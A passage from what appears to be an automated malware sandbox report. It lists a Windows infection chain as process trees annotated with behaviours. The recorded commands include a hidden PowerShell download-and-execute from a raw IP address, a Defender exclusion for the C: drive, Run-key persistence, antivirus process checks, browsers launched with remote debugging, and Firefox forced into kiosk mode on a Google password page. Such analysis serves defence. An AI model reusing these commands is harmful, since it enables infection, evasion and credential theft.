        C:\Windows\SysWOW64\mshta.exe
        
        mshta "C:\Temp\aP3UDR7l6.hta"
        7⤵
        Checks computer location settings
        System Location Discovery: System Language Discovery
        
        PID:1688
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'\483d2fa8a0d53818306efeb32d3.exe';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
        8⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Downloads MZ/PE file
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2848
        
        C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe"
        9⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:4608
      - C:\Users\Admin\AppData\Local\Temp\10318410101\OkH8IPF.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10318410101\OkH8IPF.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:908
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:3336
      - C:\Users\Admin\AppData\Local\Temp\10318420101\y0u3d_003.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10318420101\y0u3d_003.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: MapViewOfSection
        
        PID:5500
        
        C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath 'C:'
        7⤵
        
        PID:3564
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe Add-MpPreference -ExclusionPath 'C:'
        8⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4004
        
        C:\Windows\system32\svchost.exe
        
        "C:\Windows\system32\svchost.exe"
        7⤵
        Downloads MZ/PE file
        Adds Run key to start application
        
        PID:5264
        
        C:\ProgramData\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\tzutil.exe
        
        "C:\ProgramData\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\tzutil.exe" ""
        8⤵
        Sets service image path in registry
        Executes dropped EXE
        Suspicious behavior: LoadsDriver
        Suspicious use of AdjustPrivilegeToken
        
        PID:4416
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Remove-MpPreference -ExclusionPath C:\
        9⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3676
        
        C:\Users\Admin\AppData\Local\Temp\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\w32tm.exe
        
        "C:\Users\Admin\AppData\Local\Temp\\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\w32tm.exe" ""
        8⤵
        Deletes itself
        Executes dropped EXE
        
        PID:5856
        
        C:\Users\Admin\AppData\Local\Temp\{8dcfbe80-0a0f-429e-9c33-921c4f8471f9}\38c03dde.exe
        
        "C:\Users\Admin\AppData\Local\Temp\{8dcfbe80-0a0f-429e-9c33-921c4f8471f9}\38c03dde.exe" -accepteula -adinsilent -silent -processlevel 2 -postboot
        9⤵
        
        PID:6760
        
        C:\Users\Admin\AppData\Local\Temp\{bceb9fe4-7559-4e0a-884f-f28d18fb872f}\c65dcbf7.exe
        
        C:/Users/Admin/AppData/Local/Temp/{bceb9fe4-7559-4e0a-884f-f28d18fb872f}/\c65dcbf7.exe -accepteula -adinsilent -silent -processlevel 2 -postboot
        10⤵
        
        PID:8828
      - C:\Users\Admin\AppData\Local\Temp\10318430101\tK0oYx3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10318430101\tK0oYx3.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:2364
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        7⤵
        
        PID:5296
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:680
      - C:\Users\Admin\AppData\Local\Temp\10318440101\zx4PJh6.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10318440101\zx4PJh6.exe"
        6⤵
        Checks computer location settings
        Executes dropped EXE
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:6792
        
        C:\Windows\SysWOW64\CMD.exe
        
        "C:\Windows\system32\CMD.exe" /c copy Spare.wmv Spare.wmv.bat & Spare.wmv.bat
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:6996
        
        C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        8⤵
        Enumerates processes with tasklist
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:10056
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "opssvc wrsa"
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:10080
        
        C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        8⤵
        Enumerates processes with tasklist
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:10292
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr "SophosHealth bdservicehost AvastUI AVGUI nsWscSvc ekrn"
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:10308
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c md 440824
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:10436
        
        C:\Windows\SysWOW64\extrac32.exe
        
        extrac32 /Y /E Architecture.wmv
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:10544
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /V "Offensive" Inter
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:11000
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b 440824\Organizations.com + Flexible + Damn + Hard + College + Corp + Cj + Boulevard + Drainage + Truth 440824\Organizations.com
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:11084
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b ..\Dancing.wmv + ..\Ka.wmv + ..\Bali.wmv + ..\Liability.wmv + ..\Lamps.wmv + ..\Electro.wmv + ..\Shakespeare.wmv + ..\Make.wmv + ..\Physiology.wmv + ..\Witness.wmv + ..\Submitting.wmv + ..\Bd.wmv h
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:11316
        
        C:\Users\Admin\AppData\Local\Temp\440824\Organizations.com
        
        Organizations.com h
        8⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:11440
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 11440 -s 912
        9⤵
        Program crash
        
        PID:3640
        
        C:\Windows\SysWOW64\choice.exe
        
        choice /d y /t 5
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:11652
      - C:\Users\Admin\AppData\Local\Temp\10318450101\cUpXaxB.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10318450101\cUpXaxB.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:8016
      - C:\Users\Admin\AppData\Local\Temp\10318460101\Jq0hGDZ.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10318460101\Jq0hGDZ.exe"
        6⤵
        Executes dropped EXE
        
        PID:6100
        
        C:\Windows\system32\reg.exe
        
        reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /s
        7⤵
        Modifies registry key
        
        PID:4308
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Microsoft Windows Service 4377" /t REG_SZ /d \"C:\Users\Admin\AppData\Local\Temp\10318460101\Jq0hGDZ.exe\" /f
        7⤵
        Adds Run key to start application
        Modifies registry key
        
        PID:3116
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run /v "Microsoft Windows Service 4377" /t REG_BINARY /d 020000000000000000000000 /f
        7⤵
        Modifies registry key
        
        PID:9312
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunNotification /v "StartupTNotiMicrosoft Windows Service 4377" /t REG_DWORD /d 1 /f
        7⤵
        Modifies registry key
        
        PID:9412
      - C:\Users\Admin\AppData\Local\Temp\10318510101\e231945775.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10318510101\e231945775.exe"
        6⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:11840
      - C:\Users\Admin\AppData\Local\Temp\10318520101\b9de9b42de.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10318520101\b9de9b42de.exe"
        6⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        
        PID:12408
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
        7⤵
        Uses browser remote debugging
        Enumerates system info in registry
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        
        PID:12856
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffd4b75dcf8,0x7ffd4b75dd04,0x7ffd4b75dd10
        8⤵
        
        PID:12884
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=1712,i,13469362981450312715,3958029868010238882,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=1984 /prefetch:2
        8⤵
        
        PID:7764
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --field-trial-handle=2236,i,13469362981450312715,3958029868010238882,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=1548 /prefetch:3
        8⤵
        
        PID:7772
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=2336,i,13469362981450312715,3958029868010238882,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=2348 /prefetch:8
        8⤵
        
        PID:3504
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9229 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3176,i,13469362981450312715,3958029868010238882,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=3188 /prefetch:1
        8⤵
        Uses browser remote debugging
        
        PID:6440
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9229 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3196,i,13469362981450312715,3958029868010238882,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=3324 /prefetch:1
        8⤵
        Uses browser remote debugging
        
        PID:6436
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --extension-process --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9229 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4372,i,13469362981450312715,3958029868010238882,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=4384 /prefetch:2
        8⤵
        Uses browser remote debugging
        
        PID:11232
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9229 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=3040,i,13469362981450312715,3958029868010238882,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=4180 /prefetch:1
        8⤵
        Uses browser remote debugging
        
        PID:6608
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""
        7⤵
        Uses browser remote debugging
        
        PID:4532
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x240,0x244,0x248,0x23c,0x214,0x7ffd4a3cf208,0x7ffd4a3cf214,0x7ffd4a3cf220
        8⤵
        
        PID:4084
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=2004,i,11019115731202744805,13233126516221969118,262144 --variations-seed-version --mojo-platform-channel-handle=2176 /prefetch:3
        8⤵
        
        PID:8920
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=2040,i,11019115731202744805,13233126516221969118,262144 --variations-seed-version --mojo-platform-channel-handle=2024 /prefetch:2
        8⤵
        
        PID:8904
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=2560,i,11019115731202744805,13233126516221969118,262144 --variations-seed-version --mojo-platform-channel-handle=2532 /prefetch:8
        8⤵
        
        PID:9080
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --instant-process --pdf-upsell-enabled --remote-debugging-port=9229 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=3564,i,11019115731202744805,13233126516221969118,262144 --variations-seed-version --mojo-platform-channel-handle=3636 /prefetch:1
        8⤵
        Uses browser remote debugging
        
        PID:9476
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --remote-debugging-port=9229 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=3556,i,11019115731202744805,13233126516221969118,262144 --variations-seed-version --mojo-platform-channel-handle=3616 /prefetch:1
        8⤵
        Uses browser remote debugging
        
        PID:9508
      - C:\Users\Admin\AppData\Local\Temp\10318530101\3287498fbb.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10318530101\3287498fbb.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:7376
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM firefox.exe /T
        7⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:6992
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM chrome.exe /T
        7⤵
        Kills process with taskkill
        
        PID:4608
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM msedge.exe /T
        7⤵
        Kills process with taskkill
        
        PID:388
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM opera.exe /T
        7⤵
        Kills process with taskkill
        
        PID:3532
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM brave.exe /T
        7⤵
        Kills process with taskkill
        
        PID:7224
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
        7⤵
        
        PID:7396
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
        8⤵
        
        PID:7416
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 1996 -prefsLen 27099 -prefMapHandle 2000 -prefMapSize 270279 -ipcHandle 2076 -initialChannelId {2a9d74ba-6dc0-44ae-8e4b-f28e8a56f96b} -parentPid 7416 -crashReporter "\\.\pipe\gecko-crash-server-pipe.7416" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu
        9⤵
        
        PID:3212
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2480 -prefsLen 27135 -prefMapHandle 2484 -prefMapSize 270279 -ipcHandle 2492 -initialChannelId {26d9c708-9169-42e5-b664-be2c38cf33af} -parentPid 7416 -crashReporter "\\.\pipe\gecko-crash-server-pipe.7416" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket
        9⤵
        
        PID:5916
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3912 -prefsLen 25164 -prefMapHandle 3916 -prefMapSize 270279 -jsInitHandle 3920 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3928 -initialChannelId {2fa90789-1c0e-42d7-9df3-891b7c48d6fe} -parentPid 7416 -crashReporter "\\.\pipe\gecko-crash-server-pipe.7416" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 tab
        9⤵
        
        PID:8748
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 4080 -prefsLen 27276 -prefMapHandle 4084 -prefMapSize 270279 -ipcHandle 4164 -initialChannelId {9641290d-0aeb-4d9c-bcad-d94209209605} -parentPid 7416 -crashReporter "\\.\pipe\gecko-crash-server-pipe.7416" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 rdd
        9⤵
        
        PID:8692
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 2836 -prefsLen 34775 -prefMapHandle 2620 -prefMapSize 270279 -jsInitHandle 2800 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3004 -initialChannelId {6c6c21ac-3bb8-417f-bb5a-ddadccf06068} -parentPid 7416 -crashReporter "\\.\pipe\gecko-crash-server-pipe.7416" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 tab
        9⤵
        
        PID:9640
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 4900 -prefsLen 35012 -prefMapHandle 4904 -prefMapSize 270279 -ipcHandle 1328 -initialChannelId {63706d23-79f1-4cb8-a309-50e4b4a51bb5} -parentPid 7416 -crashReporter "\\.\pipe\gecko-crash-server-pipe.7416" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 utility
        9⤵
        
        PID:428
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4828 -prefsLen 32952 -prefMapHandle 5008 -prefMapSize 270279 -jsInitHandle 5072 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5332 -initialChannelId {649fb217-4d49-48af-a69a-6e6cdcac7296} -parentPid 7416 -crashReporter "\\.\pipe\gecko-crash-server-pipe.7416" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 tab
        9⤵
        
        PID:7728
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5540 -prefsLen 32952 -prefMapHandle 5544 -prefMapSize 270279 -jsInitHandle 5548 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5060 -initialChannelId {079d6a3b-346d-4382-bc8f-e9d746787eb4} -parentPid 7416 -crashReporter "\\.\pipe\gecko-crash-server-pipe.7416" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 tab
        9⤵
        
        PID:7548
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5648 -prefsLen 32952 -prefMapHandle 5652 -prefMapSize 270279 -jsInitHandle 5656 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5664 -initialChannelId {5efa5245-b5a6-4343-80d5-d1ef44d4d1ba} -parentPid 7416 -crashReporter "\\.\pipe\gecko-crash-server-pipe.7416" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 tab
        9⤵
        
        PID:7796
      - C:\Users\Admin\AppData\Local\Temp\10318540101\302e5e45e1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10318540101\302e5e45e1.exe"
        6⤵
        
        PID:7536
      - C:\Users\Admin\AppData\Local\Temp\10318550101\0b82bd4089.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10318550101\0b82bd4089.exe"
        6⤵
        
        PID:1916
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
        7⤵
        Uses browser remote debugging
        
        PID:13200
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffd4bb6dcf8,0x7ffd4bb6dd04,0x7ffd4bb6dd10
        8⤵
        
        PID:3872
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --field-trial-handle=1880,i,4825488510781547362,14877620748307777780,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=2264 /prefetch:3
        8⤵
        
        PID:716
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=2592,i,4825488510781547362,14877620748307777780,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=2576 /prefetch:2
        8⤵
        
        PID:5300
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=2060,i,4825488510781547362,14877620748307777780,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=2628 /prefetch:8
        8⤵
        
        PID:6972
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3216,i,4825488510781547362,14877620748307777780,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=3228 /prefetch:1
        8⤵
        Uses browser remote debugging
        
        PID:1392
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3248,i,4825488510781547362,14877620748307777780,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=3264 /prefetch:1
        8⤵
        Uses browser remote debugging
        
        PID:12960
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --extension-process --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4020,i,4825488510781547362,14877620748307777780,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=4036 /prefetch:2
        8⤵
        Uses browser remote debugging
        
        PID:3656
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
